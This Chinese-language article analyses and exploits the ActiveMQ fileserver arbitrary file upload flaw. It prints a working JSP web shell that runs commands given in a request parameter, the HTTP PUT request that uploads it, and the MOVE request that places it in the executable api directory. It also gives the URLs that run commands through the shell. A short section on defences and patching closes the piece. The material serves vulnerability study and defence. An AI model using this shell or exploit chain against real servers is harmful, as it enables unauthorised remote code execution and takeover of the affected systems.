ActiveMQ任意文件上传漏洞
字数 927 2025-08-15 21:32:58

ActiveMQ任意文件上传漏洞分析与利用

漏洞概述

ActiveMQ中存在一个任意文件上传漏洞,该漏洞出现在fileserver应用中。攻击者可以通过HTTP PUT方法上传恶意文件,然后利用Move指令将文件移动到可执行目录,从而实现远程代码执行。

漏洞原理

  1. 文件上传机制:ActiveMQ的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录
  2. 文件移动功能:Fileserver支持写入文件(不解析jsp),但支持移动文件(Move)操作
  3. 目录权限差异
    • fileserver目录:可写入文件但不可执行JSP
    • admin/api目录:可执行JSP脚本但需要登录访问

漏洞利用步骤

1. 上传恶意文件

使用HTTP PUT方法上传包含恶意代码的文本文件到fileserver目录:

PUT /fileserver/shell.txt HTTP/1.1
Host: target:8161
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

<% if("023".equals(request.getParameter("pwd"))){ 
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
    int a = -1; 
    byte[] b = new byte[2048]; 
    out.print("<pre>"); 
    while((a=in.read(b))!=-1){ 
        out.println(new String(b)); 
    } 
    out.print("</pre>"); 
} %>

2. 移动文件到可执行目录

使用MOVE方法将上传的文件移动到可执行JSP的目录(如api目录):

MOVE /fileserver/shell.txt HTTP/1.1
Host: target:8161
Destination: file:///opt/activemq/webapps/api/shell.jsp

成功响应标志:

HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)

3. 执行恶意代码

访问移动后的JSP文件并执行命令:

http://target:8161/api/shell.jsp?pwd=023&i=whoami
http://target:8161/api/shell.jsp?pwd=023&i=ls -l

技术细节

  1. 文件上传限制

    • fileserver目录本身不解析JSP文件
    • 但允许通过PUT方法上传任意文件
  2. 文件移动特性

    • 利用MOVE方法可以绕过目录执行限制
    • 将文件从fileserver移动到可执行目录(如admin或api)
  3. 认证绕过

    • 虽然admin/api目录需要登录才能访问
    • 但通过fileserver的MOVE操作可以绕过此限制

防御措施

  1. 升级补丁:及时更新ActiveMQ到最新安全版本
  2. 禁用fileserver:如不需要此功能,可完全禁用fileserver应用
  3. 权限控制
    • 限制fileserver目录的写入权限
    • 加强admin/api目录的访问控制
  4. 输入验证:对所有上传文件进行严格的内容检查和过滤
  5. 网络隔离:将ActiveMQ服务部署在内网,限制外部访问

参考资源

  1. FreeBuf原文
  2. 简书相关分析
  3. CSDN技术博客

总结

该漏洞利用ActiveMQ中fileserver服务的文件上传和移动功能,结合不同目录的权限差异,实现了未授权远程代码执行。管理员应重视中间件的安全配置,及时应用安全补丁,并遵循最小权限原则进行服务部署。

ActiveMQ任意文件上传漏洞分析与利用 漏洞概述 ActiveMQ中存在一个任意文件上传漏洞,该漏洞出现在fileserver应用中。攻击者可以通过HTTP PUT方法上传恶意文件,然后利用Move指令将文件移动到可执行目录,从而实现远程代码执行。 漏洞原理 文件上传机制 :ActiveMQ的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录 文件移动功能 :Fileserver支持写入文件(不解析jsp),但支持移动文件(Move)操作 目录权限差异 : fileserver目录:可写入文件但不可执行JSP admin/api目录:可执行JSP脚本但需要登录访问 漏洞利用步骤 1. 上传恶意文件 使用HTTP PUT方法上传包含恶意代码的文本文件到fileserver目录: 2. 移动文件到可执行目录 使用MOVE方法将上传的文件移动到可执行JSP的目录(如api目录): 成功响应标志: 3. 执行恶意代码 访问移动后的JSP文件并执行命令: 技术细节 文件上传限制 : fileserver目录本身不解析JSP文件 但允许通过PUT方法上传任意文件 文件移动特性 : 利用MOVE方法可以绕过目录执行限制 将文件从fileserver移动到可执行目录(如admin或api) 认证绕过 : 虽然admin/api目录需要登录才能访问 但通过fileserver的MOVE操作可以绕过此限制 防御措施 升级补丁 :及时更新ActiveMQ到最新安全版本 禁用fileserver :如不需要此功能,可完全禁用fileserver应用 权限控制 : 限制fileserver目录的写入权限 加强admin/api目录的访问控制 输入验证 :对所有上传文件进行严格的内容检查和过滤 网络隔离 :将ActiveMQ服务部署在内网,限制外部访问 参考资源 FreeBuf原文 简书相关分析 CSDN技术博客 总结 该漏洞利用ActiveMQ中fileserver服务的文件上传和移动功能,结合不同目录的权限差异,实现了未授权远程代码执行。管理员应重视中间件的安全配置,及时应用安全补丁,并遵循最小权限原则进行服务部署。